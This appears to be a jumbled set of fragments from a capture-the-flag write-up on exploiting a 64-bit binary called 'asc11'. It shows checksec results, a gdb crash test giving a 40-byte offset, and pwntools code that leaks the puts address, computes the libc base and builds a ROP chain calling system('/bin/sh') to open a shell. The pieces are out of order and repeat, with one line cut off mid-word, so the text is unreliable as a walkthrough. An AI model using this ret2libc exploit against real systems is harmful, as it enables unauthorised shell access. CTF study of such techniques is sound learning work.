leak = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = leak - libc.symbols['puts'] log.success(f'Libc base: hex(libc.address)') rop2 = ROP(libc) rop2.system(next(libc.search(b'/bin/sh')))
gdb ./asc11 r < <(python3 -c "print('A'*50)") Crash at RIP = 0x4141414141414141 → offset 40. Check if there’s a win or shell function: asc 11
asc11: ELF 64-bit, dynamically linked, not stripped Arch: amd64 RELRO: Partial Stack: No canary found NX: Enabled PIE: Disabled Run it to see behavior: leak = u64(p